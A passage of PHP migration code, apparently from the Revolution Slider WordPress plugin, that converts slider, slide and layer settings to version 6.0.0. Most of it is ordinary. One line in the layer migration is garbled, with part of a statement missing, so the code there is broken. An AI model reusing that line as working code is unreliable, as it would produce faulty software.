$this->_truefalse($slider->get_param('hide_bullets_on_mobile', false)), 'hideUnderLimit' => $slider->get_param('bullets_under_hidden', 778), ), ); $thumbs_io = $this->get_val($ms, array('nav', 'thumbs', 'innerOuter'), 'inner'); if(in_array($thumbs_io, array('outer-left', 'outer-right'))){ $ms['nav']['thumbs']['innerOuter'] = 'outer-vertical'; $ms['nav']['thumbs']['horizontal'] = ($thumbs_io === 'outer-left') ? 'left' : 'right'; }elseif(in_array($thumbs_io, array('outer-top', 'outer-bottom'))){ $ms['nav']['thumbs']['innerOuter'] = 'outer-horizontal'; $ms['nav']['thumbs']['vertical'] = ($thumbs_io === 'outer-top') ? 'top' : 'bottom'; } $tabs_io = $this->get_val($ms, array('nav', 'tabs', 'innerOuter'), 'inner'); if(in_array($tabs_io, array('outer-left', 'outer-right'))){ $ms['nav']['tabs']['innerOuter'] = 'outer-vertical'; $ms['nav']['tabs']['horizontal'] = ($tabs_io === 'outer-left') ? 'left' : 'right'; }elseif(in_array($tabs_io, array('outer-top', 'outer-bottom'))){ $ms['nav']['tabs']['innerOuter'] = 'outer-horizontal'; $ms['nav']['tabs']['vertical'] = ($tabs_io === 'outer-top') ? 'top' : 'bottom'; } /* TROUBLESHOOTING & FALLBACKS */ $ms['troubleshooting'] = array( 'ignoreHeightChanges' => $this->_truefalse($slider->get_param('ignore_height_changes')), 'ignoreHeightChangesUnderLimit' => $slider->get_param('ignore_height_changes_px', 0), 'alternateImageType' => $slider->get_param('show_alternative_type'), 'alternateURL' => $slider->get_param('show_alternate_image'), 'alternateURLId' => $this->get_image_id_by_url($slider->get_param('show_alternate_image')), 'jsNoConflict' => $this->_truefalse($slider->get_param('jquery_noconflict')), 'jsInBody' => $this->_truefalse($slider->get_param('js_to_body')), 'outPutFilter' => $slider->get_param('output_type'), 'debugMode' => $this->_truefalse($slider->get_param('jquery_debugmode')), 'simplify_ie8_ios4' => $this->_truefalse($slider->get_param('simplify_ie8_ios4')), ); /* PARALLAX SETTINGS */ $ms['parallax'] = array( 'set' => $this->_truefalse($slider->get_param('use_parallax', false)), 'setDDD' => $this->_truefalse($slider->get_param('ddd_parallax', false)), 'disableOnMobile' => $this->_truefalse($slider->get_param('disable_parallax_mobile', false)), 'levels' => array( $slider->get_param('parallax_level_1', 5), $slider->get_param('parallax_level_2', 10), $slider->get_param('parallax_level_3', 15), $slider->get_param('parallax_level_4', 20), $slider->get_param('parallax_level_5', 25), $slider->get_param('parallax_level_6', 30), $slider->get_param('parallax_level_7', 35), $slider->get_param('parallax_level_8', 40), $slider->get_param('parallax_level_9', 45), $slider->get_param('parallax_level_10', 46), $slider->get_param('parallax_level_11', 47), $slider->get_param('parallax_level_12', 48), $slider->get_param('parallax_level_13', 49), $slider->get_param('parallax_level_14', 50), $slider->get_param('parallax_level_15', 51), $slider->get_param('parallax_level_16', 30), ), 'ddd' => array( 'BGFreeze' => $this->_truefalse($slider->get_param('ddd_parallax_bgfreeze', false)), 'layerOverflow' => $this->_truefalse($slider->get_param('ddd_parallax_layer_overflow', false)), 'overflow' => $this->_truefalse($slider->get_param('ddd_parallax_overflow', false)), 'shadow' => $this->_truefalse($slider->get_param('ddd_parallax_shadow', false)), 'zCorrection' => $slider->get_param('ddd_parallax_zcorrection', 65), ), 'mouse' => array( 'speed' => $slider->get_param('parallax_speed', 1000), 'bgSpeed' => $slider->get_param('parallax_bg_speed', 0), 'layersSpeed' => $slider->get_param('parallax_ls_speed', 0), 'origo' => $slider->get_param('parallax_origo', 'slideCenter'), 'type' => $slider->get_param('parallax_type', 'scroll'), ), ); $ms['parallax']['mouse']['type'] = ($ms['parallax']['mouse']['type'] === 'mouse+scroll') ? 'mousescroll' : $ms['parallax']['mouse']['type']; /* SCROLLEFFECTS */ $ms['scrolleffects'] = array( 'set' => ($this->_truefalse($slider->get_param('blur_scrolleffect', false)) === true || $this->_truefalse($slider->get_param('fade_scrolleffect', false)) === true || $this->_truefalse($slider->get_param('grayscale_scrolleffect', false)) === true) ? true : false, 'setBlur' => $this->_truefalse($slider->get_param('blur_scrolleffect', false)), 'setFade' => $this->_truefalse($slider->get_param('fade_scrolleffect', false)), 'setGrayScale' => $this->_truefalse($slider->get_param('grayscale_scrolleffect', false)), 'bg' => $this->_truefalse($slider->get_param('scrolleffect_bg', false)), 'direction' => $slider->get_param('scrolleffect_direction', 'both'), 'maxBlur' => $slider->get_param('scrolleffect_maxblur', 10), 'multiplicator' => $slider->get_param('scrolleffect_multiplicator', '1.35'), 'multiplicatorLayers' => $slider->get_param('scrolleffect_multiplicator_layers', '1.3'), 'disableOnMobile' => $this->_truefalse($slider->get_param('scrolleffect_off_mobile', false)), 'tilt' => $slider->get_param('scrolleffect_tilt', '30') ); if($ms['scrolleffects']['set'] === true && $ms['type'] === 'hero'){ //existed only for hero Slider /** * if on_layers == true && on_static_layers == false && on_parallax_layers == false && on_parallax_static_layers == false * then slider.scrolleffect.layers = false * then set all layer that are not static or parallax effects.effect = true **/ $this->on_layers = $this->_truefalse($slider->get_param('scrolleffect_layers', false)); /** * if on_layers == false && on_static_layers == true && on_parallax_layers == false && on_parallax_static_layers == false * then slider.scrolleffect.layers = false * then set all static layer that are not parallax effects.effect = true **/ $this->on_static_layers = $this->_truefalse($slider->get_param('scrolleffect_static_layers', false)); /** * if on_layers == false && on_static_layers == false && on_parallax_layers == true && on_parallax_static_layers == false * then slider.scrolleffect.layers = false * then set all layer that are not static and that are parallax effects.effect = true **/ $this->on_parallax_layers = $this->_truefalse($slider->get_param('scrolleffect_parallax_layers', false)); /** * if on_layers == false && on_static_layers == false && on_parallax_layers == false && on_parallax_static_layers == true * then slider.scrolleffect.layers = false * then set all layer that are static and parallax effects.effect = true **/ $this->on_parallax_static_layers = $this->_truefalse($slider->get_param('scrolleffect_static_parallax_layers', false)); }else{ $this->on_layers = false; $this->on_static_layers = false; $this->on_parallax_layers = false; $this->on_parallax_static_layers = false; } $this->on_counter = 0; if($this->on_layers === true) $this->on_counter++; if($this->on_static_layers === true) $this->on_counter++; if($this->on_parallax_layers === true) $this->on_counter++; if($this->on_parallax_static_layers === true) $this->on_counter++; /** * if more than one is active, change the behavior by * set slider.scrolleffect.layers = true * set layers effects.effect = true on layers that are NOT meeting the requirements **/ $ms['scrolleffects']['layers'] = ($this->on_counter >= 2) ? true : false; //set this value so that on the layers this can be used to track if we are a parallax layer $this->parallax_slider = $this->_truefalse($slider->get_param('use_parallax', false)); /* COLLECT CUSTOM SETTINGS FOR NAVIGATION FROM OLDER VERSION */ $params = $slider->get_params(); $_presets = $this->transform_preset_to_6_0_0($params, 'def'); if(!empty($_presets)){ foreach($_presets as $_pkey => $_preset){ if(!empty($_preset)){ $ms['nav'][$_pkey]['presets'] = (!isset($ms['nav'][$_pkey]['presets'])) ? new stdClass() : $ms['nav'][$_pkey]['presets']; foreach($_preset as $_pk => $_pv){ $ms['nav'][$_pkey]['presets']->$_pk = $_pv; } } } } if($ms['general']['slideshow']['stopAfterLoops'] == 0 && $ms['general']['slideshow']['stopAtSlide'] == 1 && $ms['general']['slideshow']['stopSlider'] = false){ $ms['general']['slideshow']['slideShow'] = false; } } // END OF MAX AMOUNT OF PARAMS }else{ $ms = $slider->get_params(); } $slider->update_params($ms, true); $slider->update_settings(array('version' => '6.0.0')); } } } /** * Update the handle from ph-NAME-HANDLE-slide/def to new shorter version * @since 6.0 * @end: slide if slide, def if slider handle */ public function transform_preset_to_6_0_0($params, $end = 'slide'){ $types = array('arrows', 'bullets', 'tabs', 'thumbs'); $preset = array('arrows' => array(), 'bullets' => array(), 'tabs' => array(), 'thumbs' => array()); $repl = array('color-rgba', 'custom', 'color', 'font_family'); //old existing types if(!empty($params)){ foreach($params as $k => $v){ if(strpos($k, 'ph-') !== 0) continue; //check if we start with 'ph-' foreach($types as $type){ if(strpos($k, '-'.$type.'-') === false) continue; //check if we are -arrows- ect $f = false; $new_k = ''; foreach($repl as $r){ //check if we end with -slide or -def $l = strlen('-'.$r.'-'.$end) * -1; if(substr($k, $l) === '-'.$r.'-'.$end){ $f = true; $new_k = substr($k, 0, $l); break; } } if($f === false) continue; if($this->_truefalse($v) !== true) continue; //it is set to true, so search for the counterpart //okay all passed, now check the value of the corresponding value field $search = substr($k, 0, strlen('-'.$end) * -1); $value = $this->get_val($params, $search, ''); $t = explode('-'.$type.'-', $new_k); $handle = end($t); $preset[$type][$handle.'-def'] = true; //always set to -def here, -slide does not exist in 6.0.0 $preset[$type][$handle] = $value; } } } return $preset; } /** * Change Slide Settings to version 6.0 * @since 6.0 */ public function change_slide_settings_to_6_0($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ $slides = $slider->get_slides(false, true); $static_id = $sl->get_static_slide_id($slider->get_id()); if($static_id !== false){ $msl = new RevSliderSlide(); if(strpos($static_id, 'static_') === false){ $static_id = 'static_'. $static_id; //$slider->get_id(); } $msl->init_by_id($static_id); if($msl->get_id() !== ''){ $slides = array_merge($slides, array($msl)); } } $slide_nr = 1; if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ $settings = $slide->get_settings(); $ms = array(); if(version_compare($this->get_val($settings, 'version', '1.0.0'), '6.0.0', '<')){ $ms = $this->migrate_slide_to_6_0($slide, $slider, $slide_nr); $ms = $this->_simplify_slides($ms); $slide->settings['version'] = '6.0.0'; $slide->set_params($ms); $slide->save_settings(); $slide->save_params(); } } } } } } /** * Change Slide Settings to version 6.0 * @since 6.0 */ public function migrate_slide_to_6_0($slide, $slider = false, $slide_nr = false){ if($slider === false) $slider = new RevSliderSlider(); $color_picker = new RSColorpicker(); $ms = array(); $ms['addOns'] = $this->migrate_slide_AddOn($slide, $slider, $slide_nr); $ms['static'] = array( 'isstatic' => $this->_truefalse($slide->get_param('static', false)), 'overflow' => $slide->get_param('staticoverflow', 'hidden'), 'position' => $slide->get_param('staticlayersposition', 'front'), ); $ms['title'] = $slide->get_param('title', 'New Slide'); $ms['child'] = array( 'parentId' => $slide->get_param('parentid', ''), 'language' => $slide->get_param('lang', ''), ); //CHECK FOR STREAMS $streambothcover = $this->_truefalse($slide->get_param('stream_do_cover_both')); $streamcover = $this->_truefalse($slide->get_param('stream_do_cover')); $streamboth = (in_array($slide->get_param('background_type'), array('streamyoutubeboth', 'streamvimeoboth', 'streaminstagramboth', 'streamtwitterboth'))) ? true : false; $streamonlyvideo = (in_array($slide->get_param('background_type'), array('streamtwitter', 'streamyoutube', 'streamvimeo', 'streaminstagram'))) ? true : false; $streamimage = ($slide->get_param('background_type') === 'image' && $slider->get_param('sourcetype') !== 'gallery') ? true : false; //was 'settings', 'sourcetype' $streamanyvideo = (in_array($slide->get_param('background_type'), array('streamyoutubeboth', 'streamvimeoboth', 'streaminstagramboth', 'streamtwitterboth', 'streamtwitter', 'streamyoutube', 'streamvimeo', 'streaminstagram'))) ? true : false; if(strpos($slide->get_param('background_type'), 'youtube') !== false){ $type = 'youtube'; }elseif(strpos($slide->get_param('background_type'), 'vimeo') !== false){ $type = 'vimeo'; }elseif(strpos($slide->get_param('background_type'), 'instagram') !== false){ $type = 'html5'; }elseif(strpos($slide->get_param('background_type'), 'twitter') !== false){ $type = 'html5'; }else{ $type = $slide->get_param('background_type', 'trans'); } $img_url = $slide->get_param('image', ''); $img_id = $slide->get_param('image_id', ''); if(!empty($img_id)){ $new_img_url = $this->get_url_attachment_image($img_id); if(!empty($new_img_url)){ $img_url = $new_img_url; } } $ms['bg'] = array( 'type' => $type, 'color' => $color_picker->correctValue($slide->get_param('slide_bg_color', '#ffffff')), 'externalSrc' => $slide->get_param('slide_bg_external', ''), 'fit' => $slide->get_param('bg_fit', 'cover'), 'fitX' => $slide->get_param('bg_fit_x', '100'), 'fitY' => $slide->get_param('bg_fit_y', '100'), 'position' => $slide->get_param('bg_position', 'center center'), 'positionX' => $slide->get_param('bg_position_x', '0'), 'positionY' => $slide->get_param('bg_position_y', '0'), 'repeat' => $slide->get_param('bg_repeat', 'no-repeat'), 'image' => $img_url, //'imageId' => $slide->get_param('image_id', ''), 'imageFromStream' => ($streamboth == true || $streamimage == true) ? true : false, 'imageSourceType' => $slide->get_param('image_source_type', 'full'), 'galleryType' => $slide->get_param('rs-gallery-type', 'gallery'), 'mpeg' => $slide->get_param('slide_bg_html_mpeg', ''), 'ogv' => $slide->get_param('slide_bg_html_ogv', ''), 'webm' => $slide->get_param('slide_bg_html_webm', ''), 'vimeo' => $slide->get_param('slide_bg_vimeo', ''), 'youtube' => $slide->get_param('slide_bg_youtube', ''), 'mediaFilter' => $slide->get_param('media-filter-type', 'none'), //'width' => $slide->get_param('ext_width'), //'height' => $slide->get_param('ext_height'), 'video' => array( 'args' => $slide->get_param('video_arguments', ''), 'argsVimeo' => $slide->get_param('video_arguments_vim', ''), 'dottedOverlay' => $slide->get_param('video_dotted_overlay', 'none'), 'startAt' => $slide->get_param('video_start_at', ''), 'endAt' => $slide->get_param('video_end_at', ''), 'forceRewind' => $this->_truefalse($slide->get_param('video_force_rewind', true)), 'loop' => $slide->get_param('video_loop', 'none'), 'mute' => $this->_truefalse($slide->get_param('video_mute', true)), 'nextSlideAtEnd' => $this->_truefalse($slide->get_param('video_nextslide', false)), 'ratio' => $slide->get_param('video_ratio', '16:9'), 'speed' => $slide->get_param('video_speed', 1), 'volume' => $slide->get_param('video_volume', 0) ), 'videoId' => '', 'videoFromStream' => $streamanyvideo, ); $stream = false; //turn the image to the new stream path if it is if(strpos($ms['bg']['image'], '/ig.png') !== false){ $ms['bg']['image'] = str_replace('/ig.png', '/instagram.png', $ms['bg']['image']); $stream = true; } if(strpos($ms['bg']['image'], '/fb.png') !== false){ $ms['bg']['image'] = str_replace('/fb.png', '/facebook.png', $ms['bg']['image']); $stream = true; } if(strpos($ms['bg']['image'], '/fr.png') !== false){ $ms['bg']['image'] = str_replace('/fr.png', '/flickr.png', $ms['bg']['image']); $stream = true; } if(strpos($ms['bg']['image'], '/tw.png') !== false){ $ms['bg']['image'] = str_replace('/tw.png', '/twitter.png', $ms['bg']['image']); $stream = true; } if(strpos($ms['bg']['image'], '/vm.png') !== false){ $ms['bg']['image'] = str_replace('/vm.png', '/vimeo.png', $ms['bg']['image']); $stream = true; } if(strpos($ms['bg']['image'], '/wc.png') !== false){ $ms['bg']['image'] = str_replace('/wc.png', '/woo.png', $ms['bg']['image']); $stream = true; } if(strpos($ms['bg']['image'], '/yt.png') !== false){ $ms['bg']['image'] = str_replace('/yt.png', '/youtube.png', $ms['bg']['image']); $stream = true; } $bg_image = ($this->_truefalse($slide->get_param('thumb_for_admin')) === true) ? $this->get_val($ms, array('bg', 'image')) : $slide->get_param('slide_thumb', $this->get_val($ms, array('bg', 'image'))); $bg_image = ($stream === true) ? '' : $bg_image; $ms['thumb'] = array( 'customThumbSrc' => $bg_image, 'customThumbSrcId' => ($this->get_val($ms, array('thumb', 'customThumbSrc'), '') !== '') ? $this->get_image_id_by_url($this->get_val($ms, array('thumb', 'customThumbSrc'), '')) : '', 'customAdminThumbSrc' => ($this->_truefalse($slide->get_param('thumb_for_admin')) === true) ? $slide->get_param('slide_thumb') : '', 'customAdminThumbSrcId' => ($this->get_val($ms, array('thumb', 'customAdminThumbSrc'), '') !== '') ? $this->get_image_id_by_url($this->get_val($ms, array('thumb', 'customAdminThumbSrc'), '')) : '', 'dimension' => $slide->get_param('thumb_dimension', 'orig'), ); //only do if we are not a stream! if(!in_array($slider->get_param('sourcetype'), array('youtube', 'vimeo', 'instagram', 'twitter', 'facebook', 'flickr'), true)){ if($this->get_val($ms, array('thumb', 'customThumbSrc'), '') == ''){ if($this->get_val($ms, array('thumb', 'customAdminThumbSrc'), '') !== ''){ $this->set_val($ms, array('thumb', 'customThumbSrc'), $this->get_val($ms, array('thumb', 'customAdminThumbSrc'), '')); $this->set_val($ms, array('thumb', 'customThumbSrcId'), $this->get_val($ms, array('thumb', 'customAdminThumbSrcId'), '')); } } } $ms['info'] = array( 'params' => array( array( 'v' => $slide->get_param('params_1'), 'l' => $slide->get_param('params_1_chars', 10), ), array( 'v' => $slide->get_param('params_2'), 'l' => $slide->get_param('params_2_chars', 10), ), array( 'v' => $slide->get_param('params_3'), 'l' => $slide->get_param('params_3_chars', 10), ), array( 'v' => $slide->get_param('params_4'), 'l' => $slide->get_param('params_4_chars', 10), ), array( 'v' => $slide->get_param('params_5'), 'l' => $slide->get_param('params_5_chars', 10), ), array( 'v' => $slide->get_param('params_6'), 'l' => $slide->get_param('params_6_chars', 10), ), array( 'v' => $slide->get_param('params_7'), 'l' => $slide->get_param('params_7_chars', 10), ), array( 'v' => $slide->get_param('params_8'), 'l' => $slide->get_param('params_8_chars', 10), ), array( 'v' => $slide->get_param('params_9'), 'l' => $slide->get_param('params_9_chars', 10), ), array( 'v' => $slide->get_param('params_10'), 'l' => $slide->get_param('params_10_chars', 10), ), ), 'description' => $slide->get_param('slide_description', ''), ); $ms['attributes'] = array( 'alt' => $slide->get_param('alt_attr', ''), 'altOption' => $slide->get_param('alt_option', 'media_library'), 'title' => $slide->get_param('title_attr', ''), 'titleOption' => 'media_library', 'attr' => '', 'class' => $slide->get_param('class_attr', ''), 'data' => $slide->get_param('data_attr', ''), 'id' => $slide->get_param('id_attr', ''), ); $ms['publish'] = array( 'from' => $slide->get_param('date_from', ''), 'to' => $slide->get_param('date_to', ''), 'state' => $slide->get_param('state', 'published'), ); $slide_transition = $slide->get_param('slide_transition', array('fade')); $add_transition = $this->get_val($this->add_to_transition_speed, $slide_transition, false); $duration = $slide->get_param('transition_duration', array(1000)); if($add_transition !== false){ if(!empty($duration)){ if(is_array($duration)){ foreach($duration as $dk => $dv){ $dv = str_replace('ms', '', $dv); $duration[$dk] = (!in_array($dv, array('random', 'default'), true)) ? $dv + $add_transition : $dv; } }else{ $duration = str_replace('ms', '', $duration); $duration = (!in_array($duration, array('random', 'default'), true)) ? $duration + $add_transition : $duration; } } } $ms['timeline'] = array( 'stopOnPurpose' => $this->_truefalse($slide->get_param('stoponpurpose', false)), 'delay' => ($slide->get_param('delay') === 0 || $slide->get_param('delay') === '0') ? 'Default' : $slide->get_param('delay', 'Default'), 'transition' => $slide_transition, 'slots' => $slide->get_param('slot_amount', array(0)), 'duration' => $duration, 'easeIn' => $slide->get_param('transition_ease_in', array('default')), 'easeOut' => $slide->get_param('transition_ease_out', array('default')), 'rotation' => $slide->get_param('transition_rotation', array(0)), ); /** * fix for [{0:'a',1:'b'}] structures that can occur **/ $t_keys = array('duration', 'easeIn', 'easeOut', 'rotation', 'slots', 'transition'); foreach($t_keys as $tk){ $ms['timeline'][$tk] = (!is_array($ms['timeline'][$tk])) ? (array)$ms['timeline'][$tk] : $ms['timeline'][$tk]; $tlc = $this->get_val($ms, array('timeline', $tk, 0), ''); if(is_object($tlc) || is_array($tlc)){ $a = array(); if(!empty($ms['timeline'][$tk][0])){ foreach($ms['timeline'][$tk][0] as $tkv){ $a[] = $tkv; } } $ms['timeline'][$tk] = $a; } } $ms['visibility'] = array( 'hideAfterLoop' => $slide->get_param('hideslideafter', 0), 'hideOnMobile' => $this->_truefalse($slide->get_param('hideslideonmobile', false)), 'hideFromNavigation' => $this->_truefalse($slide->get_param('invisibleslide', false)), ); $ms['effects'] = array( 'parallax' => $slide->get_param('slide_parallax_level', '-'), ); $ms['panzoom'] = array( 'set' => $this->_truefalse($slide->get_param('kenburn_effect', false)), 'blurStart' => $slide->get_param('kb_blur_start', 0), 'blurEnd' => $slide->get_param('kb_blur_end', 0), 'duration' => $slide->get_param('kb_duration', 10000), 'ease' => $slide->get_param('kb_easing', 'none'), 'fitEnd' => $slide->get_param('kb_end_fit', 100), 'fitStart' => $slide->get_param('kb_start_fit', 100), 'xEnd' => $slide->get_param('kb_end_offset_x', 0), 'yEnd' => $slide->get_param('kb_end_offset_y', 0), 'xStart' => $slide->get_param('kb_start_offset_x', 0), 'yStart' => $slide->get_param('kb_start_offset_y', 0), 'rotateStart'=> $slide->get_param('kb_start_rotate', 0), 'rotateEnd' => $slide->get_param('kb_end_rotate', 0), ); // SLICEY OVERWRITE PAN ZOOM (KRIKI) if($slider->get_param('slicey_globals', false) !== false){ $slicey = json_decode($slider->get_param('slicey_globals'), true); if(empty($slicey)){ $slicey = json_decode(str_replace('\\', '', $slider->get_param('slicey_globals')), true); } $ms['panzoom']['blurStart'] = $this->get_val($slicey, 'blurgstart', $this->get_val($ms, array('panzoom', 'blurStart'), 0)); $ms['panzoom']['blurEnd'] = $this->get_val($slicey, 'blurgend', $this->get_val($ms, array('panzoom', 'blurEnd'), 0)); $ms['panzoom']['fitEnd'] = $this->get_val($slicey, 'scale', $this->get_val($ms, array('panzoom', 'fitEnd'))); $ms['panzoom']['duration'] = $this->get_val($slicey, 'time', $this->get_val($ms, array('panzoom', 'duration'))); $ms['panzoom']['ease'] = $this->get_val($slicey, 'easing', $this->get_val($ms, array('panzoom', 'ease'), 'none')); } $target = $slide->get_param('link_open_in', '_self'); $target = ($target === 'same') ? '_self' : $target; $target = ($target === 'new') ? '_blank' : $target; $ms['seo'] = array( 'set' => $this->_truefalse($slide->get_param('enable_link', false)), 'link' => $slide->get_param('link', ''), 'slideLink' => $slide->get_param('slide_link', 'nothing'), 'target' => $target, 'z' => $slide->get_param('link_pos', 'front'), 'type' => $slide->get_param('link_type', 'regular'), ); $ms['nav'] = array( 'arrows' => array(), 'thumbs' => array(), 'tabs' => array(), 'bullets' => array(), ); foreach($ms['nav'] as $k => $v){ $ms['nav'][$k]['presets'] = new stdClass(); } /* COLLECT CUSTOM SETTINGS FOR NAVIGATION FROM OLDER VERSION */ $params = $slide->get_params(); $_presets = $this->transform_preset_to_6_0_0($params, 'slide'); if(!empty($_presets)){ foreach($_presets as $_pkey => $_preset){ if(!empty($_preset)){ $ms['nav'][$_pkey]['presets'] = (!isset($ms['nav'][$_pkey]['presets'])) ? new stdClass() : $ms['nav'][$_pkey]['presets']; foreach($_preset as $_pk => $_pv){ $ms['nav'][$_pkey]['presets']->$_pk = $_pv; } } } } return $ms; } /** * Change Layer Settings to version 6.0 * @since 6.0 */ public function change_layer_settings_to_6_0($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); if($sliders === false){ //do it on all Sliders $sliders = $sr->get_sliders(); }else{ $sliders = array($sliders); } if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ $slides = $slider->get_slides(false, true); $staticID = $sl->get_static_slide_id($slider->get_id()); if($staticID !== false){ $msl = new RevSliderSlide(); if(strpos($staticID, 'static_') === false){ $staticID = 'static_'. $staticID; //$slider->get_id(); } $msl->init_by_id($staticID); if($msl->get_id() !== ''){ //$slides = array_merge($slides, array($msl)); $slides[] = $msl; } } if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ $layers = $slide->get_layers(); $this->static_slide = $slide->is_static_slide(); $new_layers = array(); if(!empty($layers) && is_array($layers)){ $this->z_index = 5; //reset the zindex $lid = 99; foreach($layers as $lk => $layer){ $ml = array(); $version = $this->get_val($layer, 'version', '1.0.0'); if(strpos($version, '.') === false){ //was before 530 for example $version = '1.0.0'; } if(version_compare($version, '6.0.0', '<')){ $ml = $this->migrate_layer_to_6_0($layer, false, $slide, $slider); }else{ $ml = $layer; } $ml = $this->_simplify_layers($ml, $slide, $slider); $uid = $this->get_val($ml, 'uid', $lid); if(isset($new_layers[$uid])){ $uid = $lid; $this->set_val($ml, 'uid', $lid); } $new_layers[$uid] = $ml; $lid++; $this->z_index++; } //act_triggered /** * go again through all layers * check if a layer is triggered by other layers * if no, set actionTriggered to false **/ if(!empty($new_layers)){ foreach($new_layers as $nlk => $nlv){ //($act_triggered === 'wait' || $act_triggered === 'waitout') ? true : $nluid = $this->get_val($nlv, 'uid'); $nluid = ($this->static_slide) ? 'static-'.$nluid : $nluid; if(in_array((string)$nluid, $this->slide_action_map, true)){ $a_o = $this->get_val($nlv, array('actions', 'animationoverwrite'), 'default'); if($a_o === 'wait'){ $this->set_val($new_layers, array($nlk, 'timeline', 'frames', 'frame_1', 'timeline', 'actionTriggered'), true); } if(in_array($a_o, array('wait', 'waitout'), true)){ $this->set_val($new_layers, array($nlk, 'timeline', 'frames', 'frame_999', 'timeline', 'actionTriggered'), true); } } } } $slide->set_layers_raw($new_layers); $slide->save_layers(); } } } } } } /** * Migrates a Layer to version 6.0.0 * @since: 6.0.0 **/ public function migrate_layer_to_6_0($layer, $blank, $slide, $slider){ //blank default should be false! $this->init_googlefonts(); $color_picker = new RSColorpicker(); $video_data = $this->get_val($layer, 'video_data', array()); $deformation = (array)$this->get_val($layer, 'deformation', array()); $deformation_hover = (array)$this->get_val($layer, 'deformation-hover', array()); $static_styles = (array)$this->get_val($layer, 'static_styles', array()); $layer_action = $this->get_val($layer, 'layer_action', array()); $svg = $this->get_val($layer, 'svg', array()); $frames = $this->get_val($layer, 'frames', array()); $frame_0 = $this->get_val($frames, 'frame_0', array()); $frame_999 = $this->get_val($frames, 'frame_999', array()); $ml['type'] = $this->get_val($layer, 'type'); //text, image, video, audio, svg, shape $ml['subtype'] = $this->get_val($layer, 'subtype', ''); //need to replace weather AddOn tag format so moved this line here $ml['addOns'] = $this->migrate_layer_AddOn($layer, $slide); $ml['text'] = $this->get_val($layer, 'text', 'New layer'); $toggleText = $this->get_val($layer, 'texttoggle', ''); //fix for margin-top issues in pe7 icons. In v5 the margin was needed. if(strpos($ml['text'], '_metas as $r){ if(strpos($r, '/%') !== false){ $arrMatches = array(); preg_match_all($r, $ml['text'], $arrMatches); if(!empty($arrMatches)){ foreach($arrMatches as $matched){ foreach($matched as $match){ $_match = str_replace('%', '', '{{'.$match.'}}'); $ml['text'] = str_replace($match, $_match, $ml['text']); } } } $arrMatches = array(); preg_match_all($r, $toggleText, $arrMatches); if(!empty($arrMatches)){ foreach($arrMatches as $matched){ foreach($matched as $match){ $_match = str_replace('%', '', '{{'.$match.'}}'); $toggleText = str_replace($match, $_match, $toggleText); } } } }else{ $ml['text'] = str_replace('%'.$r.'%', '{{'.$r.'}}', $ml['text']); $toggleText = str_replace('%'.$r.'%', '{{'.$r.'}}', $toggleText); } } $ml['placeholder'] = ''; $ml['alias'] = ucfirst($this->get_val($layer, 'alias', 'New Layer')); $ml['uid'] = $this->get_val($layer, 'unique_id'); $ml['version'] = '6.0.0'; $ml['htmltag'] = $this->get_val($layer, 'html_tag', 'div'); switch($ml['type']){ case 'text': case 'button': $img_id = $this->get_image_id_by_url($this->get_val($layer, 'bgimage_url')); if($img_id === false) $img_id = ''; $ml['media'] = array( 'imageUrl' => $this->get_val($layer, 'bgimage_url', RS_PLUGIN_URL.'admin/assets/images/transparent_placeholder.png'), //'imageId' => $img_id, 'imageFromStream' => false, 'loaded' => false ); break; case 'image': $img_id = $this->get_image_id_by_url($this->get_val($layer, 'image_url')); if($img_id === false) $img_id = ''; $ml['media'] = array( 'imageUrl' => $this->get_val($layer, 'image_url', RS_PLUGIN_URL.'admin/assets/images/transparent_placeholder.png'), 'imageId' => $img_id, 'imageFromStream' => false, 'loaded' => false ); break; case 'audio': case 'video': if($this->get_val($video_data, 'video_type') === 'html5'){ $posterUrl = $this->get_val($video_data, 'urlPoster'); }else{ if($this->get_val($video_data, 'previewimage', false) === false || strlen($this->get_val($video_data, 'previewimage')) < 3){ $posterUrl = ''; //$posterUrl = $this->get_val($layer, 'video_image_url'); }else{ $posterUrl = $this->get_val($video_data, 'previewimage'); } } $autoplayonlyfirsttime = ($this->_truefalse($this->get_val($video_data, 'autoplayonlyfirsttime')) == true) ? '1sttime' : 'true'; $ml['media'] = array( 'mediaType' => $this->get_val($video_data, 'video_type'), 'audioUrl' => $this->get_val($video_data, 'urlAudio', ''), 'audioTitle' => $this->get_val($video_data, 'audio_title', ''), 'posterUrl' => $posterUrl, 'posterId' => '', 'posterFromStream' => false, 'thumbs' => array( 'veryBig' => $this->get_val($video_data, 'thumb_very_big', array('width' => 640, 'height' => 480, 'url' => $posterUrl)), 'big' => $this->get_val($video_data, 'thumb_big', array('width' => 640, 'height' => 480, 'url' => $posterUrl)), 'large' => $this->get_val($video_data, 'thumb_large', array('width' => 640, 'height' => 360, 'url' => $posterUrl)), 'medium' => $this->get_val($video_data, 'thumb_medium', array('width' => 320, 'height' => 240, 'url' => $posterUrl)), 'small' => $this->get_val($video_data, 'thumb_small', array('width' => 200, 'height' => 150, 'url' => $posterUrl)), ), 'descSmall' => $this->get_val($video_data, 'desc_small', ''), 'description' => $this->get_val($video_data, 'description', ''), 'link' => $this->get_val($video_data, 'link', ''), 'mp4Url' => $this->get_val($video_data, 'urlMp4', ''), 'ogvUrl' => $this->get_val($video_data, 'urlOgv', ''), 'webmUrl' => $this->get_val($video_data, 'urlWebm', ''), 'allowFullscreen' => $this->_truefalse($this->get_val($video_data, 'allowfullscreen', false)), 'args' => $this->get_val($video_data, 'args', $this->get_val($layer, 'video_args', '')), 'author' => $this->get_val($video_data, 'author', ''), //'autoPlay' => $this->get_val($video_data, 'autoplay', $this->get_val($video_data, 'video_autoplay'), $autoplayonlyfirsttime), 'autoPlay' => $this->get_val($video_data, 'autoplay', $this->get_val($video_data, 'video_autoplay', $autoplayonlyfirsttime)), 'controls' => ($this->get_val($video_data, 'video_show_visibility') === true && $this->get_val($video_data, 'video_type') === 'audio') ? false : !$this->get_val($video_data, 'controls'), 'cover' => $this->_truefalse($this->get_val($video_data, 'cover', false)), 'disableOnMobile' => $this->_truefalse($this->get_val($video_data, 'use_poster_on_mobile', false)), 'dotted' => $this->get_val($video_data, 'dotted', 'none'), 'startAt' => $this->get_val($video_data, 'start_at', '00:00'), 'endAt' => 